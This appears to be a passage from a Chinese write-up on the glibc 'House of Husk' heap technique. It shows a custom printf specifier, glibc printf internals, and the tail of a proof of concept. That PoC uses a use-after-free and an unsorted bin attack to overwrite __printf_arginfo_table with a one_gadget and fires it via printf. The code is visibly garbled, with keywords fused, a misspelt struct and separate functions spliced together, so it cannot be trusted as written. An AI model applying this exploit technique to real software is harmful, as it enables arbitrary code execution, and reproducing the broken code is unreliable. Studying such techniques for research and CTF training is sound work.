/** * binary_arginfo - Custom arginfo function for binary format specifier * @info: Pointer to printf_info structure * @n: Number of arguments * @argtypes: Array to store argument types */ intbinary_arginfo(conststruct printf_info *info, size_t n, int *argtypes) { if(n > 0) { argtypes[0] = PA_INT; // The type of the argument is int } return1; // Number of arguments used }
/** * binary_handler - Custom handler function for binary format specifier * @stream: Output stream * @info: Pointer to printf_info structure * @args: Array of argument pointers */ intbinary_handler(FILE *stream, conststruct print_info *info, constvoid *const *args) { int val = *((constint *)args[0]); // Retrieve the integer argument for(int i = sizeof(int) *8-1; i >= 0; i--) { fputc((val >> i) & 1 ? '1' : '0', stream); // Print each bit } }
intmain() { // Register the custom binary format specifier 'b' register_printf_specifier('b', binary_handler, binary_arginfo);
// Test the custom format specifier int number = 15; printf("Binary representation of %d is: %b\n", number, number);
/* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return-1; }
int result = 0; __libc_lock_lock (lock);
if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; }
/* The function itself. */ int vfprintf(FILE *s, const CHAR_T *format, va_list ap, unsignedint mode_flags) { ...... /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; // <--- 情况1 ... LABEL (width_asterics): // ... if (pos && *tmp == L_('$')) /* The width comes from a positional parameter. */ goto do_positional; // <--- 情况2 ... LABEL (width): // ... if (*f == L_('$')) /* Oh, oh. The argument comes from a positional parameter. */ goto do_positional; // <--- 情况3 LABEL (precision): // ... if (pos && *tmp == L_('$')) /* The precision comes from a positional parameter. */ goto do_positional; // <--- 情况4 LABEL (form_unknown): // ... /* If we are in the fast loop force entering the complicated one. */ goto do_positional; // <--- 情况6 ...
/* Hand off processing for positional parameters. */ do_positional: done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep, mode_flags); ...... }
size_t attribute_hidden #ifdef COMPILE_WPRINTF __parse_one_specwc (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) #else __parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) #endif { ..... /* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { /* Find the data argument types of a built-in spec. */ spec->ndata_args = 1;
/* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]);// __printf_function_table => a heap_addr which is not NULL free(a[2]);//__printf_arginfo_table => one_gadget
/* ignite! */ printf("%X", 0);
return0; }
简析
该POC模拟了一次 UAF 和 Unsorted Bin Attack。通过 Unsorted Bin Attack 修改 global_max_fast 为 main_arena + 88,使得基本上所有堆块free之后都会进入fast bin。 fast bin 中的堆块会按照 size 从 main_arena + 0x10 开始往下写,通过设定好的大小就能实现覆写__printf_arginfo_table为ogg